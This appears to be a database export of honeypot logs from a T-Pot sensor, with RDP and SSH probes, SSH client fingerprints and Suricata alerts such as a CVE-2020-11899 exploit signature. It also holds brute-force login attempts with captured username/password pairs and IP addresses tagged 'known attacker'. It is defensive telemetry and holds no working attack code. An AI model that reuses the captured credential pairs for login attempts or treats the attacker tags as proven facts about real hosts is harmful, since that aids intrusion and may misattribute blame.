30025	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:31:57.363396+03	2021-09-20 14:45:02.478142+03	{"_id": "_Ab6AnwBvYTbRNuEHDk1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 55851, "dest_port": 3389, "timestamp": "2021-09-20T11:31:57.363396", "@timestamp": "2021-09-20T11:31:57.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28938	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:17.610057+03	2021-09-20 14:30:03.478523+03	{"_id": "gQbxAnwBvYTbRNuERTKI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54470, "timestamp": "2021-09-20T11:22:17.610057", "@timestamp": "2021-09-20T11:22:17.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28939	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:22:17.911193+03	2021-09-20 14:30:03.479525+03	{"_id": "ewbxAnwBvYTbRNuEQjKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ade7b97131f6", "@version": "1", "timestamp": "2021-09-20T11:22:17.911193Z", "@timestamp": "2021-09-20T11:22:17.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28940	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:22:17.910459+03	2021-09-20 14:30:03.481523+03	{"_id": "fwbxAnwBvYTbRNuERDJP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 2180041360909588, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54470, "dest_port": 22, "timestamp": "2021-09-20T11:22:17.910459Z", "@timestamp": "2021-09-20T11:22:17.910Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28941	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:22:17.910595+03	2021-09-20 14:30:03.482524+03	{"_id": "ggbxAnwBvYTbRNuERTKI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54470, "dest_port": 22, "timestamp": "2021-09-20T11:22:17.910595", "@timestamp": "2021-09-20T11:22:17.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28942	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:22:19.2001+03	2021-09-20 14:30:03.483523+03	{"_id": "gwbxAnwBvYTbRNuESjJl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [jira/pass1234] failed", "session": "ade7b97131f6", "@version": "1", "password": "pass1234", "username": "jira", "timestamp": "2021-09-20T11:22:19.200100Z", "@timestamp": "2021-09-20T11:22:19.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28943	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:22:10.621213+03	2021-09-20 14:30:03.485524+03	{"_id": "bAbxAnwBvYTbRNuEKDLz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:10.285437+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1610268851460861, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57943, "dest_port": 3389, "timestamp": "2021-09-20T11:22:10.621213Z", "@timestamp": "2021-09-20T11:22:10.621Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28944	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:22:12.076322+03	2021-09-20 14:30:03.486524+03	{"_id": "cQbxAnwBvYTbRNuELDLc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:12.076322+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187318118946, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:22:12.076322Z", "@timestamp": "2021-09-20T11:22:12.076Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28945	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:22:12.000941+03	2021-09-20 14:30:03.488523+03	{"_id": "cwbxAnwBvYTbRNuEMDLF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:11.116887+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 2108558068402327, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 3982, "timestamp": "2021-09-20T11:22:12.000941Z", "@timestamp": "2021-09-20T11:22:12.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28946	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:22:10.621213+03	2021-09-20 14:30:03.489523+03	{"_id": "ZQbxAnwBvYTbRNuEJjJF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 57943, "dest_port": 3389, "timestamp": "2021-09-20T11:22:10.621213", "@timestamp": "2021-09-20T11:22:10.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28947	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:22:10.657936+03	2021-09-20 14:30:03.491523+03	{"_id": "bgbxAnwBvYTbRNuEKDLz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:10.285437+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1610268851460861, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 57943, "timestamp": "2021-09-20T11:22:10.657936Z", "@timestamp": "2021-09-20T11:22:10.657Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28948	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:22:10.978847+03	2021-09-20 14:30:03.492524+03	{"_id": "bQbxAnwBvYTbRNuEKDLz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:10.285437+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1610268851460861, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57943, "dest_port": 3389, "timestamp": "2021-09-20T11:22:10.978847Z", "@timestamp": "2021-09-20T11:22:10.978Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28949	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:22:10.621213+03	2021-09-20 14:30:03.493525+03	{"_id": "cAbxAnwBvYTbRNuEKTIg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:10.285437+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1610268851460861, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57943, "dest_port": 3389, "timestamp": "2021-09-20T11:22:10.621213Z", "@timestamp": "2021-09-20T11:22:10.621Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28950	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:22:12.076322+03	2021-09-20 14:30:03.495525+03	{"_id": "cgbxAnwBvYTbRNuELDLc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:12.076322+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187318118946, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:22:12.076322Z", "@timestamp": "2021-09-20T11:22:12.076Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28951	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:22:01.000852+03	2021-09-20 14:30:03.497523+03	{"_id": "YQbxAnwBvYTbRNuEGTJP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:59.904864+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 257839479901856, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 62206, "timestamp": "2021-09-20T11:22:01.000852Z", "@timestamp": "2021-09-20T11:22:01.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28968	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:22:26.950448+03	2021-09-20 14:30:03.520524+03	{"_id": "pgbxAnwBvYTbRNuEZTLA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [salah/salah] failed", "session": "188af9ed9d09", "@version": "1", "password": "salah", "username": "salah", "timestamp": "2021-09-20T11:22:26.950448Z", "@timestamp": "2021-09-20T11:22:26.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28952	146.148.107.22	109.199.241.180	Suricata	2021-09-20 14:22:07.452778+03	2021-09-20 14:30:03.498524+03	{"_id": "YgbxAnwBvYTbRNuEGTJ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:07.452778+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "146.148.107.22", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "146.148.107.22", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 85557608704170, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 32814, "timestamp": "2021-09-20T11:22:07.452778Z", "@timestamp": "2021-09-20T11:22:07.452Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28953	146.148.107.22	109.199.241.180	Suricata	2021-09-20 14:22:09.040396+03	2021-09-20 14:30:03.499523+03	{"_id": "ZAbxAnwBvYTbRNuEITIh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:07.452778+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 163}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "146.148.107.22", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "146.148.107.22", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 85557608704170, "payload": "FQMDABoof2BQjd1dL6ETeLQPtxlyFtw0qZspuP/B5Q==", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 32814, 